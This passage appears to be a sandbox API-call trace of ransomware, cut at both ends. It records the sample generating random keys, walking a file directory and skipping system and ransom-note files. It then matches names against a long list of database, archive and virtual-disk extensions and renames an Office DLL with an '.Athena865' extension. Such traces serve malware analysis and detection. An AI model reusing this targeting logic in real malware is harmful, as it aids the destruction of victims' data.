pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.321] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.322] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x126e0, lpName=0x0) returned 0x17c [0080.323] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x126e0) returned 0x100000 [0080.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.328] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.328] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.329] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.329] CloseHandle (hObject=0x17c) returned 1 [0080.329] CloseHandle (hObject=0x154) returned 1 [0080.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.330] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2=".") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="..") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="windows") returned -1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="bootmgr") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="temp") returned -1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="pagefile.sys") returned -1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="boot") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="ids.txt") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="ntuser.dat") returned 1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="perflogs") returned -1 [0080.330] lstrcmpiW (lpString1="OFFXML.DLL", lpString2="MSBuild") returned 1 [0080.330] lstrlenW (lpString="OFFXML.DLL") returned 10 [0080.330] lstrcpyW (in: lpString1=0x241e89e, lpString2="OFFXML.DLL" | out: lpString1="OFFXML.DLL") returned="OFFXML.DLL" [0080.330] lstrlenW (lpString="OFFXML.DLL") returned 10 [0080.330] lstrlenW (lpString="Athena865") returned 9 [0080.330] lstrcmpiW (lpString1="FFXML.DLL", lpString2="Athena865") returned 1 [0080.331] lstrlenW (lpString=".dll") returned 4 [0080.331] lstrcmpiW (lpString1="OFFXML.DLL", lpString2=".dll") returned 1 [0080.331] lstrlenW (lpString=".lnk") returned 4 [0080.331] lstrcmpiW (lpString1="OFFXML.DLL", lpString2=".lnk") returned 1 [0080.331] lstrlenW (lpString=".ini") returned 4 [0080.331] lstrcmpiW (lpString1="OFFXML.DLL", lpString2=".ini") returned 1 [0080.331] lstrlenW (lpString=".sys") returned 4 [0080.331] lstrcmpiW (lpString1="OFFXML.DLL", lpString2=".sys") returned 1 [0080.331] lstrlenW (lpString="OFFXML.DLL") returned 10 [0080.331] lstrlenW (lpString="bak") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.331] lstrlenW (lpString="ba_") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.331] lstrlenW (lpString="dbb") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.331] lstrlenW (lpString="vmdk") returned 4 [0080.331] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.331] lstrlenW (lpString="rar") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.331] lstrlenW (lpString="zip") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.331] lstrlenW (lpString="tgz") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.331] lstrlenW (lpString="vbox") returned 4 [0080.331] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.331] lstrlenW (lpString="vdi") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.331] lstrlenW (lpString="vhd") returned 3 [0080.331] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.331] lstrlenW (lpString="vhdx") returned 4 [0080.331] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.331] lstrlenW (lpString="avhd") returned 4 [0080.332] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.332] lstrlenW (lpString="db") returned 2 [0080.332] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.332] lstrlenW (lpString="db2") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.332] lstrlenW (lpString="db3") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.332] lstrlenW (lpString="dbf") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.332] lstrlenW (lpString="mdf") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.332] lstrlenW (lpString="mdb") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.332] lstrlenW (lpString="sql") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.332] lstrlenW (lpString="sqlite") returned 6 [0080.332] lstrcmpiW (lpString1="ML.DLL", lpString2="sqlite") returned -1 [0080.332] lstrlenW (lpString="sqlite3") returned 7 [0080.332] lstrcmpiW (lpString1="XML.DLL", lpString2="sqlite3") returned 1 [0080.332] lstrlenW (lpString="sqlitedb") returned 8 [0080.332] lstrcmpiW (lpString1="FXML.DLL", lpString2="sqlitedb") returned -1 [0080.332] lstrlenW (lpString="xml") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.332] lstrlenW (lpString="$er") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.332] lstrlenW (lpString="4dd") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.332] lstrlenW (lpString="4dl") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.332] lstrlenW (lpString="^^^") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.332] lstrlenW (lpString="abs") returned 3 [0080.332] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.332] lstrlenW (lpString="abx") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.333] lstrlenW (lpString="accdb") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0080.333] lstrlenW (lpString="accdc") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0080.333] lstrlenW (lpString="accde") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0080.333] lstrlenW (lpString="accdr") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0080.333] lstrlenW (lpString="accdt") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0080.333] lstrlenW (lpString="accdw") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0080.333] lstrlenW (lpString="accft") returned 5 [0080.333] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0080.333] lstrlenW (lpString="adb") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.333] lstrlenW (lpString="adb") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.333] lstrlenW (lpString="ade") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.333] lstrlenW (lpString="adf") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.333] lstrlenW (lpString="adn") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.333] lstrlenW (lpString="adp") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.333] lstrlenW (lpString="alf") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.333] lstrlenW (lpString="ask") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.333] lstrlenW (lpString="btr") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.333] lstrlenW (lpString="cat") returned 3 [0080.333] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.334] lstrlenW (lpString="cdb") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.334] lstrlenW (lpString="ckp") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.334] lstrlenW (lpString="cma") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.334] lstrlenW (lpString="cpd") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.334] lstrlenW (lpString="dacpac") returned 6 [0080.334] lstrcmpiW (lpString1="ML.DLL", lpString2="dacpac") returned 1 [0080.334] lstrlenW (lpString="dad") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.334] lstrlenW (lpString="dadiagrams") returned 10 [0080.334] lstrlenW (lpString="daschema") returned 8 [0080.334] lstrcmpiW (lpString1="FXML.DLL", lpString2="daschema") returned 1 [0080.334] lstrlenW (lpString="db-journal") returned 10 [0080.334] lstrlenW (lpString="db-shm") returned 6 [0080.334] lstrcmpiW (lpString1="ML.DLL", lpString2="db-shm") returned 1 [0080.334] lstrlenW (lpString="db-wal") returned 6 [0080.334] lstrcmpiW (lpString1="ML.DLL", lpString2="db-wal") returned 1 [0080.334] lstrlenW (lpString="dbc") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.334] lstrlenW (lpString="dbs") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.334] lstrlenW (lpString="dbt") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.334] lstrlenW (lpString="dbv") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.334] lstrlenW (lpString="dbx") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.334] lstrlenW (lpString="dcb") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.334] lstrlenW (lpString="dct") returned 3 [0080.334] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.335] lstrlenW (lpString="dcx") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.335] lstrlenW (lpString="ddl") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.335] lstrlenW (lpString="dlis") returned 4 [0080.335] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.335] lstrlenW (lpString="dp1") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.335] lstrlenW (lpString="dqy") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0080.335] lstrlenW (lpString="dsk") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0080.335] lstrlenW (lpString="dsn") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0080.335] lstrlenW (lpString="dtsx") returned 4 [0080.335] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0080.335] lstrlenW (lpString="dxl") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0080.335] lstrlenW (lpString="eco") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0080.335] lstrlenW (lpString="ecx") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0080.335] lstrlenW (lpString="edb") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0080.335] lstrlenW (lpString="epim") returned 4 [0080.335] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0080.335] lstrlenW (lpString="fcd") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0080.335] lstrlenW (lpString="fdb") returned 3 [0080.335] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0080.335] lstrlenW (lpString="fic") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0080.336] lstrlenW (lpString="flexolibrary") returned 12 [0080.336] lstrlenW (lpString="fm5") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0080.336] lstrlenW (lpString="fmp") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0080.336] lstrlenW (lpString="fmp12") returned 5 [0080.336] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0080.336] lstrlenW (lpString="fmpsl") returned 5 [0080.336] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0080.336] lstrlenW (lpString="fol") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0080.336] lstrlenW (lpString="fp3") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0080.336] lstrlenW (lpString="fp4") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0080.336] lstrlenW (lpString="fp5") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0080.336] lstrlenW (lpString="fp7") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0080.336] lstrlenW (lpString="fpt") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0080.336] lstrlenW (lpString="frm") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0080.336] lstrlenW (lpString="gdb") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.336] lstrlenW (lpString="gdb") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.336] lstrlenW (lpString="grdb") returned 4 [0080.336] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0080.336] lstrlenW (lpString="gwi") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0080.336] lstrlenW (lpString="hdb") returned 3 [0080.336] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0080.337] lstrlenW (lpString="his") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0080.337] lstrlenW (lpString="ib") returned 2 [0080.337] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0080.337] lstrlenW (lpString="idb") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0080.337] lstrlenW (lpString="ihx") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0080.337] lstrlenW (lpString="itdb") returned 4 [0080.337] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0080.337] lstrlenW (lpString="itw") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0080.337] lstrlenW (lpString="jet") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0080.337] lstrlenW (lpString="jtx") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0080.337] lstrlenW (lpString="kdb") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0080.337] lstrlenW (lpString="kexi") returned 4 [0080.337] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0080.337] lstrlenW (lpString="kexic") returned 5 [0080.337] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0080.337] lstrlenW (lpString="kexis") returned 5 [0080.337] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0080.337] lstrlenW (lpString="lgc") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0080.337] lstrlenW (lpString="lwx") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0080.337] lstrlenW (lpString="maf") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0080.337] lstrlenW (lpString="maq") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0080.337] lstrlenW (lpString="mar") returned 3 [0080.337] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0080.338] lstrlenW (lpString="marshal") returned 7 [0080.338] lstrcmpiW (lpString1="XML.DLL", lpString2="marshal") returned 1 [0080.338] lstrlenW (lpString="mas") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0080.338] lstrlenW (lpString="mav") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0080.338] lstrlenW (lpString="maw") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0080.338] lstrlenW (lpString="mdbhtml") returned 7 [0080.338] lstrcmpiW (lpString1="XML.DLL", lpString2="mdbhtml") returned 1 [0080.338] lstrlenW (lpString="mdn") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0080.338] lstrlenW (lpString="mdt") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0080.338] lstrlenW (lpString="mfd") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0080.338] lstrlenW (lpString="mpd") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0080.338] lstrlenW (lpString="mrg") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0080.338] lstrlenW (lpString="mud") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0080.338] lstrlenW (lpString="mwb") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0080.338] lstrlenW (lpString="myd") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0080.338] lstrlenW (lpString="ndf") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0080.338] lstrlenW (lpString="nnt") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0080.338] lstrlenW (lpString="nrmlib") returned 6 [0080.338] lstrcmpiW (lpString1="ML.DLL", lpString2="nrmlib") returned -1 [0080.338] lstrlenW (lpString="ns2") returned 3 [0080.338] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0080.339] lstrlenW (lpString="ns3") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0080.339] lstrlenW (lpString="ns4") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0080.339] lstrlenW (lpString="nsf") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0080.339] lstrlenW (lpString="nv") returned 2 [0080.339] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0080.339] lstrlenW (lpString="nv2") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0080.339] lstrlenW (lpString="nwdb") returned 4 [0080.339] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0080.339] lstrlenW (lpString="nyf") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0080.339] lstrlenW (lpString="odb") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.339] lstrlenW (lpString="odb") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.339] lstrlenW (lpString="oqy") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0080.339] lstrlenW (lpString="ora") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0080.339] lstrlenW (lpString="orx") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0080.339] lstrlenW (lpString="owc") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0080.339] lstrlenW (lpString="p96") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0080.339] lstrlenW (lpString="p97") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0080.339] lstrlenW (lpString="pan") returned 3 [0080.339] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0080.340] lstrlenW (lpString="pdb") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0080.340] lstrlenW (lpString="pdm") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0080.340] lstrlenW (lpString="pnz") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0080.340] lstrlenW (lpString="qry") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0080.340] lstrlenW (lpString="qvd") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0080.340] lstrlenW (lpString="rbf") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0080.340] lstrlenW (lpString="rctd") returned 4 [0080.340] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0080.340] lstrlenW (lpString="rod") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0080.340] lstrlenW (lpString="rodx") returned 4 [0080.340] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0080.340] lstrlenW (lpString="rpd") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0080.340] lstrlenW (lpString="rsd") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0080.340] lstrlenW (lpString="sas7bdat") returned 8 [0080.340] lstrcmpiW (lpString1="FXML.DLL", lpString2="sas7bdat") returned -1 [0080.340] lstrlenW (lpString="sbf") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0080.340] lstrlenW (lpString="scx") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0080.340] lstrlenW (lpString="sdb") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0080.340] lstrlenW (lpString="sdc") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0080.340] lstrlenW (lpString="sdf") returned 3 [0080.340] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0080.341] lstrlenW (lpString="sis") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0080.341] lstrlenW (lpString="spq") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0080.341] lstrlenW (lpString="te") returned 2 [0080.341] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0080.341] lstrlenW (lpString="teacher") returned 7 [0080.341] lstrcmpiW (lpString1="XML.DLL", lpString2="teacher") returned 1 [0080.341] lstrlenW (lpString="tmd") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0080.341] lstrlenW (lpString="tps") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0080.341] lstrlenW (lpString="trc") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.341] lstrlenW (lpString="trc") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.341] lstrlenW (lpString="trm") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0080.341] lstrlenW (lpString="udb") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0080.341] lstrlenW (lpString="udl") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0080.341] lstrlenW (lpString="usr") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0080.341] lstrlenW (lpString="v12") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0080.341] lstrlenW (lpString="vis") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0080.341] lstrlenW (lpString="vpd") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0080.341] lstrlenW (lpString="vvv") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0080.341] lstrlenW (lpString="wdb") returned 3 [0080.341] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0080.342] lstrlenW (lpString="wmdb") returned 4 [0080.342] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0080.342] lstrlenW (lpString="wrk") returned 3 [0080.342] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0080.342] lstrlenW (lpString="xdb") returned 3 [0080.342] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0080.342] lstrlenW (lpString="xld") returned 3 [0080.342] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0080.342] lstrlenW (lpString="xmlff") returned 5 [0080.342] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0080.342] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL.Athena865") returned 63 [0080.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll.athena865"), dwFlags=0x1) returned 1 [0080.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFXML.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offxml.dll.athena865"), 